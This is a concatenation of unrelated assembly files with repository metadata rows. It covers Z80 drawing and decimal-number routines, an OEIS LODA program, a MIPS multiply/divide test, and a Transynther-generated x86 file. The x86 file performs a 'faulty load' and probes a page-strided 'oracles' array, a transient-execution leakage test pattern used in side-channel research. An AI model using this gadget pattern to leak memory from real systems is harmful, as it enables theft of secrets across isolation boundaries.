; 'loop'
; ------
; Loops.
;
; In BC cicles.
; Out BC 0.
; Saves DE, HL.
loop dec bc
ld a,c
or b
jr nz,loop
ret
; --------------------
; 'chadr' Char Address
; --------------------
; Gets an address of a 8 byte character.
;
; In HL Address of char 0 data. A char number.
; Out HL address of character data.
; Saves BC, DE
chadr push bc
ld b,h
ld c,l
ld l,a
ld h,0
add hl,hl
add hl,hl
add hl,hl
add hl,bc
pop bc
ret
; -------------------
; 'drstr' Draw String
; -------------------
; Draws a string on VRAM.
; A string is a series of characters from 32 to 127.
; If 0 is encountered, it signals the end of the string.
; If 1 is encountered, the next byte is a color to paint the rest
; of the string.
;
; In HL string address. DE y,x position in characters. A color.
drstr
; Set initial color.
call set_char_color
; Get character or command. Return if 0.
drstr2 ld a,(hl)
inc hl
or a
ret z
cp 1
jr nz,drstr1
; Set new color.
ld a,(hl)
inc hl
call set_char_color
jr drstr2
drstr1
; Find address in rom.
push hl
call font_chadr
push de
; Draw draw.
call drchrc
pop de
inc e
pop hl
jr drstr2
; ----------------------
; 'strlen' String length
; ----------------------
; Calculates the length of a string.
;
; In HL str address.
; Out B len.
; Saves DE, C.
strlen ld b,0
strlen_next
ld a,(hl)
inc hl
; If 0 end of string.
or a
ret z
; If 1 the next byte is a color.
cp 1
jr z,strlen_color
; Increment length.
inc b
jr strlen_next
strlen_color
inc hl
jr strlen_next
; -------------------
; 'addnum' Add number
; -------------------
; Decimal addition. The numbers are stored each digit in a byte.
; The number in address pointed by HL is added to the one pointed by DE
; and stores in this same sequence pointed by DE.
;
; If HL points to these bytes 0019
; And DE to these 0001
; Then the bytes pointed by DE will contain 0020
;
; In HL array of digits. DE array of digits. B number of digits.
; Saves None.
addnum
; Go to the end of the numbers.
ld c,b
ld b,0
dec c
add hl,bc
ex de,hl
add hl,bc
ex de,hl
ld b,c
inc b
; Reset CY.
or a
addnum1 ld a,(de)
adc a,(hl)
cp 10
jr c,addnum0
; The sum is equal or more than 10.
sub 10
ld (de),a
scf
jr addnum2
; The sum is less than 10.
addnum0 ld (de),a
; Reset CY.
or a
addnum2 dec hl
dec de
djnz addnum1
ret
; -------------------
; 'drnum' Draw number
; -------------------
;
; In B number of digits. HL pointer to digits. DE y,x in chars. C color.
; Saves C
drnum
; In the begining, while it is a zero digit, draw a space.
dec b
drnum_zero
ld a,(hl)
or a
jr nz,drnum_rest
ld a,' '
call drchrsf
inc e
inc hl
djnz drnum_zero
drnum_rest
; Now, some digits remain.
inc b
drnum_num
ld a,(hl)
add a,'0'
; Find in rom and draw with color.
call drchrsf
drnum_next
; Go to next digit.
inc e
inc hl
djnz drnum_num
ret
; -------------------------
; 'drchrsf' Draw char safe.
; -------------------------
; Draws a character, preserves most of registers.
;
; In A character code. DE y,x in characters. C color.
; Saves BC, DE, HL.
drchrsf push hl
call font_chadr
push de
push bc
ld a,c
call set_char_color
call drchrc
pop bc
pop de
pop hl
ret
; --------
; 'minnum'
; --------
; Selects the minimum of two decimal numbers.
;
; In HL addr number 1. DE addr number 2. B digits.
; Out A 0 if equal, -1 if HL is the minimum, 1 if DE is the minimum.
; Saves HL, DE.
minnum
push de
push hl
minnum_loop
ld a,(de)
cp (hl)
jr nz,minnum_cp
; Digits are equal, go to next.
inc hl
inc de
djnz minnum_loop
xor a
jr minnum_end
minnum_cp
; The digits are different.
jr c,minnum_is_2
ld a,-1
jr minnum_end
minnum_is_2
; The second number is less than the first.
ld a,1
minnum_end
pop hl
pop de
ret
; --------------------
; 'digit' Gets a digit
; --------------------
; Gets a digit of a number, starting from the most significant.
;
; In HL number address. B digit to obtain (number length - digits from
; the least significant).
; Out A digit. B 0. HL points at digit.
digit dec hl
inc b
digit_loop
inc hl
ld a,(hl)
djnz digit_loop
ret
; ---------------
; 'mirror' Mirror
; ---------------
; Mirrors the left side of an image into the left side.
;
; In HL image address.
mirror
; Load A,C height, width.
ld c,(hl)
inc hl
ld a,(hl)
inc hl
; BC is width.
ld b,0
; Save height counter and first position in line.
mirror3 push af
push hl
; Point DE to first byte in line, HL to last.
ld d,h
ld e,l
add hl,bc
dec hl
; Bytes to mirror on a line in B (careful when width is odd).
push bc
ld a,c
or a
rra
ld b,a
; Mirror line.
mirror2 push bc
ld a,(de)
inc de
ld b,8
mirror1 rlca
rr c
djnz mirror1
ld (hl),c
dec hl
pop bc
djnz mirror2
pop bc
; Go to next line.
pop hl
add hl,bc
pop af
dec a
jr nz,mirror3
ret
; ----------------------
; 'mirims' Mirror Images
; ----------------------
; Runs through a null terminated list of image pointers, takes each
; image and builds its right side by mirroring its left side.
;
; In HL address of a table of pointer to Images.
mirims ld e,(hl)
inc hl
ld d,(hl)
inc hl
ld a,d
or e
ret z
push hl
ex de,hl
call mirror
pop hl
jr mirims
; -----------------------
; 'flipv' Vertically flip
; -----------------------
; Flips and image vertically.
;
; In HL Image address.
flipv ld c,(hl)
inc hl
ld b,(hl)
inc hl
; If only one row, nothing to do.
ld a,1
cp b
ret z
; Point DE to start of last image row.
push hl
ld a,b
ld d,0
ld e,c
jr flipv3
flipv2 add hl,de
flipv3 dec a
jr nz,flipv2
ex de,hl
pop hl
; How many lines to swap?
srl b
; Swap one line.
flipv4 push bc
ld b,c
flipv1 ld c,(hl)
ld a,(de)
ld (hl),a
ld a,c
ld (de),a
inc hl
inc de
djnz flipv1
pop bc
; All lines served.
dec b
ret z
; Go to next lines.
; HL already pointing to next line. Fix DE.
push hl
ex de,hl
ld d,0
ld e,c
xor a
sbc hl,de
sbc hl,de
ex de,hl
pop hl
jr flipv4
; -------------------------
; 'cppad' Copy with padding
; -------------------------
; Copies one image src into image dst. Height of the src
; must be less or equal than the width of dst.
; The width of the dst image must equal the width src image if
; we are copying, or it has to be the width of src plus one if we
; want padding.
;
; In HL source image. DE dest image.
; A 0 for copy, 1 for copying with padding.
; Saves A.
cppad
; Take width and height of source.
ld c, (hl)
inc hl
ld b, (hl)
inc hl
; Point to dest image data.
inc de
inc de
; Put a 0 in A'.
ex af,af'
xor a
ex af,af'
; Copy all lines.
cppad1 push bc
ld b,0
ldir
or a
jr z,cppad2
; Put a 0 on last row byte if padding.
ex af,af'
ld (de),a
inc de
ex af,af'
; For all rows.
cppad2 pop bc
djnz cppad1
ret
#if 0
; -----------
; 'two_pow_n'
; -----------
; Given A, it is taken modulus 8 (thus 0-7) and then returns in A the
;
; In A.
; Out A 1,2,4,8,16,32,64,128.
two_pow_n
push hl
and 7
ld hl,two_pow_t
call getbt
pop hl
ret
two_pow_t .db 1,2,4,8,16,32,64,128
#endif
| 13.434971 | 78 | 0.585995 |
59d9a1662b0b28fd04e19b7121c1b446aeed9e9e | 9,537 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_11147_913.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_11147_913.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_11147_913.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r15
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0xa9ca, %r13
nop
nop
nop
nop
and $2215, %rdx
movw $0x6162, (%r13)
nop
nop
nop
and $24847, %r11
lea addresses_A_ht+0x1b66a, %rsi
lea addresses_WC_ht+0x280a, %rdi
xor %r11, %r11
mov $53, %rcx
rep movsq
nop
nop
nop
sub %rdi, %rdi
lea addresses_WT_ht+0x1bc6, %rsi
cmp %r15, %r15
mov (%rsi), %cx
sub %rsi, %rsi
lea addresses_D_ht+0x8a72, %r13
nop
nop
nop
xor %rcx, %rcx
mov (%r13), %rsi
nop
lfence
lea addresses_A_ht+0xc6ca, %rsi
lea addresses_WC_ht+0xe6ca, %rdi
nop
and %r8, %r8
mov $72, %rcx
rep movsl
nop
mfence
lea addresses_D_ht+0x214e, %rsi
nop
dec %r11
mov $0x6162636465666768, %rcx
movq %rcx, %xmm1
vmovups %ymm1, (%rsi)
nop
dec %rsi
lea addresses_normal_ht+0x604a, %rsi
lea addresses_normal_ht+0x435a, %rdi
clflush (%rsi)
nop
nop
nop
nop
sub $45885, %r8
mov $4, %rcx
rep movsl
nop
nop
nop
nop
nop
sub $22431, %r13
lea addresses_normal_ht+0x32ca, %rsi
lea addresses_WT_ht+0x340a, %rdi
nop
cmp $7944, %rdx
mov $97, %rcx
rep movsq
nop
nop
nop
nop
nop
dec %rdx
lea addresses_WC_ht+0x87ef, %r8
add %r15, %r15
movb $0x61, (%r8)
sub %rsi, %rsi
lea addresses_WC_ht+0x1608a, %rsi
nop
nop
nop
sub $57187, %r11
mov (%rsi), %cx
nop
nop
sub %rcx, %rcx
lea addresses_D_ht+0x1cca, %rdi
sub %rsi, %rsi
mov $0x6162636465666768, %r13
movq %r13, %xmm6
vmovups %ymm6, (%rdi)
nop
nop
nop
nop
add $24745, %r11
lea addresses_UC_ht+0x8bc6, %r15
nop
sub $24941, %rdi
mov $0x6162636465666768, %rdx
movq %rdx, %xmm5
movups %xmm5, (%r15)
nop
nop
nop
nop
add $42128, %r13
lea addresses_A_ht+0x638a, %rcx
and %r13, %r13
movl $0x61626364, (%rcx)
nop
nop
nop
nop
nop
xor $28144, %r15
lea addresses_A_ht+0x2d4a, %rsi
lea addresses_UC_ht+0xdeca, %rdi
nop
nop
nop
add %r11, %r11
mov $47, %rcx
rep movsw
nop
nop
nop
and %r15, %r15
lea addresses_UC_ht+0x3eca, %rsi
lea addresses_WT_ht+0x66ca, %rdi
nop
nop
nop
nop
nop
inc %r8
mov $114, %rcx
rep movsl
nop
nop
cmp $51819, %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %rax
push %rbp
push %rbx
push %rcx
// Store
lea addresses_D+0x14eca, %r15
nop
nop
nop
nop
nop
add %rbx, %rbx
movl $0x51525354, (%r15)
nop
nop
nop
nop
nop
sub $60072, %rbx
// Load
lea addresses_A+0x794a, %r13
nop
nop
nop
xor %r15, %r15
mov (%r13), %ebx
xor $23030, %r10
// Store
lea addresses_RW+0x1c6ca, %r10
nop
nop
nop
nop
xor %rbp, %rbp
mov $0x5152535455565758, %rax
movq %rax, %xmm0
vmovntdq %ymm0, (%r10)
cmp $34544, %r10
// Store
lea addresses_D+0x1a34a, %rbx
xor %rax, %rax
movb $0x51, (%rbx)
nop
nop
nop
nop
sub $16342, %rbp
// Store
lea addresses_RW+0x4996, %r13
nop
nop
nop
nop
nop
and %rcx, %rcx
mov $0x5152535455565758, %rax
movq %rax, %xmm7
vmovups %ymm7, (%r13)
cmp $2153, %rax
// Load
lea addresses_normal+0x33da, %r10
nop
nop
nop
cmp %rbx, %rbx
movups (%r10), %xmm7
vpextrq $0, %xmm7, %rax
nop
cmp %r13, %r13
// Store
lea addresses_normal+0x994a, %rbp
and %rbx, %rbx
movl $0x51525354, (%rbp)
nop
nop
nop
nop
nop
cmp $28322, %r15
// Faulty Load
lea addresses_D+0x14eca, %r15
nop
nop
nop
nop
xor %r13, %r13
mov (%r15), %ebp
lea oracles, %rbx
and $0xff, %rbp
shlq $12, %rbp
mov (%rbx,%rbp,1), %rbp
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_D', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 32, 'congruent': 10, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_D', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'54': 11147}
54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54
*/
| 30.764516 | 2,999 | 0.653245 |
19dc0a448bab9c31a67fe2a75a4a734ee8c16f63 | 642 | asm | Assembly | oeis/165/A165789.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/165/A165789.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/165/A165789.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A165789: a(n) is the smallest positive integer k that when written in binary, and leading 0's of k are ignored, contains the reversal of the digits of binary n.
; Submitted by Simon Strandgaard
; 1,5,3,9,5,11,7,17,9,21,13,19,11,23,15,33,17,41,25,37,21,45,29,35,19,43,27,39,23,47,31,65,33,81,49,73,41,89,57,69,37,85,53,77,45,93,61,67,35,83,51,75,43,91,59,71,39,87,55,79,47,95,63,129,65,161,97,145,81,177,113,137,73,169,105,153,89,185,121,133,69,165,101,149,85,181,117,141,77,173,109,157,93,189,125,131,67,163,99,147
add $0,2
dif $0,2
sub $0,1
seq $0,145341 ; Convert 2n-1 to binary. Reverse its digits. Convert back to decimal to get a(n).
| 71.333333 | 320 | 0.711838 |
33801d9f68082c72d92ad9394dd72d0781aa3d2c | 10,559 | asm | Assembly | P6/data_P6_2/MDTest182.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | 1 | 2022-01-23T09:24:47.000Z | 2022-01-23T09:24:47.000Z | P6/data_P6_2/MDTest182.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | null | null | null | P6/data_P6_2/MDTest182.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | null | null | null | ori $ra,$ra,0xf
addiu $6,$6,17941
divu $2,$ra
addu $4,$2,$3
addiu $5,$5,9741
mtlo $4
divu $3,$ra
divu $1,$ra
mthi $2
mfhi $1
divu $4,$ra
div $3,$ra
div $0,$ra
addu $4,$2,$0
sb $0,10($0)
mthi $5
divu $5,$ra
sb $5,1($0)
mfhi $3
sb $4,3($0)
mfhi $4
mult $1,$1
mfhi $2
addiu $5,$1,20957
mfhi $1
multu $3,$3
mult $4,$1
multu $4,$4
mthi $4
divu $1,$ra
lui $1,57819
lui $0,48321
mtlo $5
ori $6,$2,58877
divu $5,$ra
lb $2,9($0)
mult $1,$1
mfhi $2
mtlo $4
mult $4,$4
div $2,$ra
divu $2,$ra
mtlo $4
sb $4,16($0)
sb $4,14($0)
addu $2,$6,$2
mult $4,$2
mthi $3
addu $4,$1,$1
ori $5,$3,59852
lui $2,55359
lui $5,49118
mthi $0
mtlo $5
multu $3,$5
srav $4,$1,$0
mtlo $4
ori $5,$3,22068
divu $3,$ra
mult $0,$5
ori $5,$4,33319
div $4,$ra
div $2,$ra
lui $6,13738
srav $5,$5,$5
mthi $1
multu $6,$2
mtlo $0
lb $2,8($0)
mflo $5
mult $5,$4
sb $4,13($0)
lui $3,25293
ori $3,$3,49953
mflo $4
div $6,$ra
sll $0,$4,1
mflo $4
addiu $1,$2,-16358
sb $6,11($0)
div $1,$ra
srav $4,$1,$6
sll $6,$3,15
srav $3,$1,$3
divu $5,$ra
lui $0,35255
sll $4,$6,27
srav $4,$4,$1
mult $2,$2
div $1,$ra
divu $3,$ra
ori $4,$1,31941
mult $5,$4
lb $0,3($0)
sll $4,$4,13
div $4,$ra
lb $2,3($0)
addu $4,$5,$4
mfhi $6
mfhi $4
divu $4,$ra
multu $1,$3
mthi $4
multu $4,$4
addu $0,$0,$0
mtlo $4
addiu $4,$2,-23816
mtlo $3
mthi $0
mflo $6
addiu $1,$4,29096
mfhi $0
multu $0,$1
mflo $1
multu $1,$3
mflo $4
div $6,$ra
addiu $1,$4,-30034
sb $0,14($0)
sll $5,$2,27
srav $0,$4,$3
lb $3,16($0)
sll $5,$5,20
divu $2,$ra
div $2,$ra
divu $3,$ra
sll $4,$1,31
mult $4,$4
sb $6,3($0)
lb $4,8($0)
mfhi $5
multu $4,$4
addu $4,$1,$5
sb $4,3($0)
sll $4,$1,12
mfhi $4
lui $1,62358
ori $5,$5,13788
divu $5,$ra
ori $0,$2,11345
mthi $1
divu $5,$ra
div $5,$ra
addiu $2,$1,-22853
divu $1,$ra
addiu $1,$1,-7742
mtlo $4
mthi $2
div $2,$ra
multu $5,$5
addiu $4,$2,17246
ori $3,$3,29759
div $4,$ra
lui $3,17291
divu $1,$ra
mfhi $6
lb $3,10($0)
ori $6,$6,31294
mthi $5
div $0,$ra
div $0,$ra
mflo $3
mfhi $4
srav $1,$1,$3
srav $1,$0,$0
lui $4,51317
srav $4,$1,$1
ori $1,$6,10050
mult $5,$5
ori $4,$2,34386
sb $6,3($0)
mult $4,$4
sb $4,5($0)
lui $5,64589
mflo $6
div $5,$ra
div $4,$ra
ori $6,$1,7579
mfhi $1
multu $4,$4
sll $1,$4,15
ori $0,$6,58569
lb $5,8($0)
sll $4,$5,0
lb $5,13($0)
mthi $4
div $4,$ra
divu $4,$ra
sll $0,$2,20
sll $1,$2,4
mthi $2
lb $4,7($0)
addiu $3,$4,3524
divu $4,$ra
mflo $2
mthi $5
mflo $4
mflo $4
mflo $1
mthi $5
sll $2,$4,3
multu $6,$6
ori $4,$2,32812
lui $1,62782
mult $2,$2
divu $1,$ra
lui $3,19068
mflo $6
sll $4,$2,12
sb $5,7($0)
lui $2,38537
lb $4,11($0)
div $5,$ra
srav $5,$1,$2
mfhi $5
mthi $3
sll $3,$2,14
lui $4,12144
lui $2,32895
mfhi $4
ori $0,$0,22319
sll $1,$5,6
ori $2,$2,42780
mthi $4
divu $1,$ra
mthi $5
mthi $4
lui $4,27056
addiu $5,$4,-25204
sb $4,13($0)
mtlo $6
ori $3,$2,45389
sb $1,1($0)
mflo $4
sb $0,3($0)
sll $5,$2,15
divu $2,$ra
div $4,$ra
div $1,$ra
mfhi $4
addiu $0,$0,-28363
mfhi $6
mfhi $5
sll $2,$2,30
mult $6,$5
addu $5,$0,$0
mflo $2
mflo $6
multu $4,$4
ori $4,$4,50576
div $6,$ra
mult $4,$3
ori $2,$2,32546
srav $0,$0,$0
mthi $5
mtlo $4
mtlo $4
mflo $2
sb $0,15($0)
divu $5,$ra
mthi $6
mfhi $1
multu $4,$4
lui $1,19561
mfhi $4
srav $5,$1,$3
addu $1,$2,$2
sb $4,2($0)
sb $3,16($0)
sb $0,13($0)
lb $5,6($0)
div $1,$ra
addu $2,$6,$2
mthi $6
sll $3,$1,1
div $2,$ra
mthi $3
mflo $0
sll $1,$5,5
mtlo $4
mult $6,$4
srav $0,$2,$1
mflo $1
sll $4,$4,28
srav $2,$2,$4
multu $4,$4
lui $3,3726
lb $4,10($0)
mfhi $1
mthi $5
mtlo $3
addu $1,$2,$6
divu $4,$ra
addiu $1,$6,-43
sll $5,$5,22
div $0,$ra
mflo $2
divu $4,$ra
mflo $5
sll $1,$2,18
mult $1,$1
sb $3,10($0)
ori $3,$2,60680
mtlo $2
addu $4,$1,$0
mult $4,$5
lb $3,2($0)
mult $5,$0
srav $4,$2,$4
lui $4,41489
lui $5,8258
srav $4,$2,$4
mult $3,$6
mflo $1
lui $1,21082
mtlo $3
mfhi $4
sll $6,$5,13
mfhi $5
mfhi $1
addu $1,$1,$5
lb $4,5($0)
mflo $4
multu $3,$5
divu $6,$ra
multu $4,$0
lui $1,19238
addu $5,$4,$3
multu $1,$3
addu $4,$1,$1
addiu $5,$2,4132
addiu $4,$0,1321
div $2,$ra
lb $4,1($0)
addiu $0,$0,-2710
div $6,$ra
mflo $1
mult $4,$2
lui $4,5654
mtlo $1
addu $4,$4,$4
sb $4,9($0)
lb $4,8($0)
srav $4,$4,$1
mflo $4
divu $5,$ra
divu $4,$ra
sll $6,$6,15
divu $1,$ra
addiu $6,$2,-1105
lb $3,7($0)
mult $1,$4
div $5,$ra
mflo $4
mult $1,$1
ori $1,$2,48747
mthi $4
sll $4,$4,1
addu $5,$2,$5
lb $6,6($0)
srav $5,$2,$5
addu $3,$1,$3
multu $5,$2
mthi $1
srav $4,$4,$3
mtlo $0
srav $4,$2,$2
lb $4,6($0)
multu $6,$2
addiu $5,$2,16261
addu $5,$5,$3
addiu $3,$6,22015
mtlo $2
sb $4,0($0)
lb $4,12($0)
addu $6,$2,$2
srav $5,$5,$5
divu $4,$ra
divu $1,$ra
sll $2,$2,3
ori $2,$2,23834
sb $0,14($0)
sb $5,9($0)
sll $3,$3,9
mthi $1
mult $4,$4
sll $4,$3,22
addu $0,$2,$3
lui $3,13537
mthi $1
lb $6,5($0)
lui $1,34232
sll $3,$2,5
mfhi $5
addu $5,$2,$2
mflo $4
addiu $0,$2,13073
mfhi $6
divu $0,$ra
srav $1,$2,$3
sll $6,$1,22
sll $2,$2,23
addu $3,$4,$3
lb $5,12($0)
addiu $5,$6,38
sll $4,$4,1
srav $0,$1,$3
addu $6,$4,$3
ori $1,$2,60924
multu $5,$4
mult $1,$1
lb $1,8($0)
div $4,$ra
mthi $4
mflo $1
sb $4,11($0)
addiu $4,$5,-23646
divu $3,$ra
sll $2,$6,2
mtlo $4
mflo $6
ori $4,$1,44699
divu $5,$ra
srav $4,$4,$4
mult $3,$4
mflo $5
mthi $1
srav $0,$2,$3
mfhi $4
multu $4,$2
addu $4,$4,$1
div $1,$ra
multu $4,$6
mfhi $1
srav $4,$2,$2
lui $2,50411
srav $1,$6,$6
mthi $4
divu $4,$ra
lb $4,0($0)
addiu $3,$5,-31289
lb $5,16($0)
srav $1,$2,$3
mflo $3
addu $1,$4,$4
mtlo $5
addu $5,$0,$1
addiu $5,$5,-6763
lb $4,1($0)
mflo $1
mtlo $5
lui $4,25779
sll $4,$4,26
div $2,$ra
sll $4,$4,24
divu $6,$ra
mflo $0
div $4,$ra
addu $2,$2,$6
